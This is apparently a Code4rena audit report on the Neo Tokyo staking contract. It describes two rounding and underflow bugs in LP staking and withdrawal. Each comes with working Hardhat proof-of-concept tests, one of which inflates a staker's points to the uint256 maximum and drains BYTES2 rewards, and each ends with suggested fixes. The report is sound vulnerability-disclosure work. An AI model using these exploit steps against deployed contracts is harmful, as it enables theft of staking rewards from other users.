Neo Tokyo contest - Krace's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1623

Vulnerability details

Impact

Staker can withdraw all their LP token without decreasing the corresponding points, therefore could continue earning bonus without staked tokens.

Proof of Concept

This needs a staker to stake some LP Token ahead of time to get some points in lpPosition.points.

In _withdrawLP, when the staker withdraws his LP Tokens, the corresponding points will decrease based on line 1623. It will first multiply amount by 100 and divide with 1e18, if the amount is less than 1e16, this result will truncate to 0, and the calculated points will also be 0. lpPosition.points will remain the same because it decreases 0.

Staker withdraw parts of his LP Token, but his points stored in lpPosition.points is not decreased. If staker could repeat call the withdraw like this, he could withdraw all his LP Token and keep the points. Now the staker could getReward but doesn't need to stake any Token.

https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1623

		// Update caller staking information and asset data.
		PoolData storage pool = _pools[AssetType.LP];
		unchecked {
1623			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

			// Update the caller's LP token stake.
			lpPosition.amount -= amount;
			lpPosition.points -= points;

			// Update the pool point weights for rewards.
			pool.totalPoints -= points;
		}

POC test: Add this test into describe('with staked LP tokens') Alice stakes 40ETH and withdraws 9 finney, this will decrease her amount but will not change her points.

			it.only('Withdraw LP tokens without modifying point', async () => {

				// Withdraw Alice's LP tokens.
				await ethers.provider.send('evm_setNextBlockTimestamp', [
					aliceStakeTime + (60 * 60 * 24 * 30)
				]);
				//The amout and points of Alice before withdraw 
				let alicePositionBefore = await NTStaking.getStakerPositions(alice.address);
				console.log("aliceAmout before ", alicePositionBefore.stakedLPPosition.amount);
				console.log("alicePoints before ", alicePositionBefore.stakedLPPosition.points);

				// alice withdraw  9*10^15 LP token
				await NTStaking.connect(alice.signer).withdraw(
					ASSETS.LP.id,
					ethers.utils.parseUnits('9','finney')
				);


				let alicePosition = await NTStaking.getStakerPositions(alice.address);
				console.log("aliceAmout ", alicePosition.stakedLPPosition.amount);
				console.log("alicePoints", alicePosition.stakedLPPosition.points);

				// points not changed, could still getReward
				alicePosition.stakedLPPosition.points.should.be.equal(alicePositionBefore.stakedLPPosition.points);
				// amouts have been withdraw
				alicePositionBefore.stakedLPPosition.amount.sub(alicePosition.stakedLPPosition.amount).should.be.equal(
					ethers.utils.parseUnits('9','finney')
				);

				
			});

Tools Used

Hardhat

Recommended Mitigation Steps

Check the points after calculation.

		// Update caller staking information and asset data.
		PoolData storage pool = _pools[AssetType.LP];
		unchecked {
			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
+           require(points>0);
			// Update the caller's LP token stake.
			lpPosition.amount -= amount;
			lpPosition.points -= points;

			// Update the pool point weights for rewards.
			pool.totalPoints -= points;
		}

Also, if the staker's amount is zero, the points should also be zero

if(lpPosition.amount == 0) {
    lpPosition.points = 0;
}

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1155 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1623

Vulnerability details

Impact

Staker can get very large points with only a few staked LPToken. One can leverage this to get large amounts of BYTES2.

Proof of Concept

Function _stakeLP has a precision loss, if a staker staked LPToken less than 1e16, the points calculated at line 1155 will become zero. ==> One staker could stake LP Token with zero points, these points is added to stakerLPPosition[msg.sender].points

If staker repeats this several times, he will have an amount that large than 1e16 (which will not be influenced by the precision loss) but with zero points.

https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1155

		// Update caller staking information and asset data.
		PoolData storage pool = _pools[AssetType.LP];
		unchecked {
1155			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;

			// Update the caller's LP token stake.
			stakerLPPosition[msg.sender].timelockEndTime =
				block.timestamp + timelockDuration;
			stakerLPPosition[msg.sender].amount += amount;
			stakerLPPosition[msg.sender].points += points;

			// Update the pool point weights for rewards.
			pool.totalPoints += points;
		}

In _withdrawLP, when the staker withdraws his LP Tokens, the corresponding points will decrease based at line 1623. It will first calculate the points and then decrease these points from the lpPosition.points. If a staker has some LPToken staked (large than 1e16) but with zero points, the points calculated at line 1623 will be a number that is greater than zero, but the stored lpPosition.points is zero ==> underflow occurs. The staker will get large points with a small amount of tokens. If there are any other stakers, the pool.totalPoints will not be zero, and the new pool.totalPoints will still be a normal value. We could leverage this to get a large amount of BYTES2.

https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1623

		// Update caller staking information and asset data.
		PoolData storage pool = _pools[AssetType.LP];
		unchecked {
1623			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

			// Update the caller's LP token stake.
			lpPosition.amount -= amount;
			lpPosition.points -= points;

			// Update the pool point weights for rewards.
			pool.totalPoints -= points;
		}

As you can see from the test below, the points become 115792089237316195423570985008687907853269984665640564039457584007913129639935, which will then get the reward about 105801151669948369414870043000014054385850536937838326850737671641 BYTES2 with claimReward function.

POC test:

First, comment out the code in describe('with staked LP tokens')

	describe('with staked LP tokens', function () {
			let aliceStakeTime, bobStakeTime;
			beforeEach(async () => {

				// Configure the LP token contract address on the staker.
				await NTStaking.connect(owner.signer).configureLP(LPToken.address);
/*
				// Stake Alice's LP tokens for 30 days.
				await NTStaking.connect(alice.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['30'],
					ethers.utils.parseEther('40'),
					0,
					0
				);
				let priorBlockNumber = await ethers.provider.getBlockNumber();
				let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
				aliceStakeTime = priorBlock.timestamp;

				// Stake Bob's LP tokens for 1080 days.
				await NTStaking.connect(bob.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['1080'],
					ethers.utils.parseEther('10'),
					0,
					0
				);
				priorBlockNumber = await ethers.provider.getBlockNumber();
				priorBlock = await ethers.provider.getBlock(priorBlockNumber);
				bobStakeTime = priorBlock.timestamp;
				*/
			});

Then add this test into describe('with staked LP tokens') Alice stakes 9 finney twice and gets zero points, here I also add a normal staker Bob to simulate the normal conditions. Then Alice withdraws 18 finney, and her points become large. Then she calls getReward to get a large amout of BYTES2.

			it.only('Get large points', async () => {
				// Stake Alice's LP tokens for 30 days. 
				// Stake 9 finney twice.
				await NTStaking.connect(alice.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['30'],
					ethers.utils.parseUnits('9','finney'),
					0,
					0
				);

				await NTStaking.connect(alice.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['30'],
					ethers.utils.parseUnits('9','finney'),
					0,
					0
				);
				// Bob stake some tokens to simulate the other stakers
				await NTStaking.connect(bob.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['30'],
					ethers.utils.parseEther('40'),
					0,
					0
				);

				let priorBlockNumber = await ethers.provider.getBlockNumber();
				let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
				aliceStakeTime = priorBlock.timestamp;

				priorBlockNumber = await ethers.provider.getBlockNumber();
				priorBlock = await ethers.provider.getBlock(priorBlockNumber);
				bobStakeTime = priorBlock.timestamp;

				let aliceBalance = await NTBytes2_0.balanceOf(alice.address);
				console.log("alice balance before ",aliceBalance);

				await ethers.provider.send('evm_setNextBlockTimestamp', [
					aliceStakeTime + (60 * 60 * 24 * 30)
				]);


				//The amout and points of Alice before withdraw 
				let alicePositionBefore = await NTStaking.getStakerPositions(alice.address);
				console.log("aliceAmout after stake ", alicePositionBefore.stakedLPPosition.amount);
				console.log("alicePoints after stake ", alicePositionBefore.stakedLPPosition.points);

				// alice withdraw  18*10^15 LP token
				await NTStaking.connect(alice.signer).withdraw(
					ASSETS.LP.id,
					ethers.utils.parseUnits('18','finney')
				);

				// The amout and points of Alice after withdraw, points become very large
				let alicePosition = await NTStaking.getStakerPositions(alice.address);
				console.log("aliceAmout after withdraw ", alicePosition.stakedLPPosition.amount);
				console.log("alicePoints after withdraw ", alicePosition.stakedLPPosition.points);

				//alice getReward
				await NTCitizenDeploy.connect(alice.signer).getReward();
				//let aliceBalanceInitial = aliceBalance;
				aliceBalance = await NTBytes2_0.balanceOf(alice.address);
				console.log("alice balance after ",aliceBalance);
				/*
				alice balance before  BigNumber { value: "4562000000000000000000" }
				aliceAmout after stake  BigNumber { value: "18000000000000000" }
				alicePoints after stake  BigNumber { value: "0" }
				aliceAmout after withdraw  BigNumber { value: "0" }
				alicePoints after withdraw  BigNumber { value: "115792089237316195423570985008687907853269984665640564039457584007913129639935" }
				alice balance after  BigNumber { value: "105801151669948369414870043000014054385850536937838326850737671641" }
				*/
				
			});

Tools Used

Hardhat

Recommended Mitigation Steps

Check the points after calculation.

		PoolData storage pool = _pools[AssetType.LP];
		unchecked {
			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
+           require(points>0);

			// Update the caller's LP token stake.
			stakerLPPosition[msg.sender].timelockEndTime =
				block.timestamp + timelockDuration;
			stakerLPPosition[msg.sender].amount += amount;
			stakerLPPosition[msg.sender].points += points;

			// Update the pool point weights for rewards.
			pool.totalPoints += points;
		}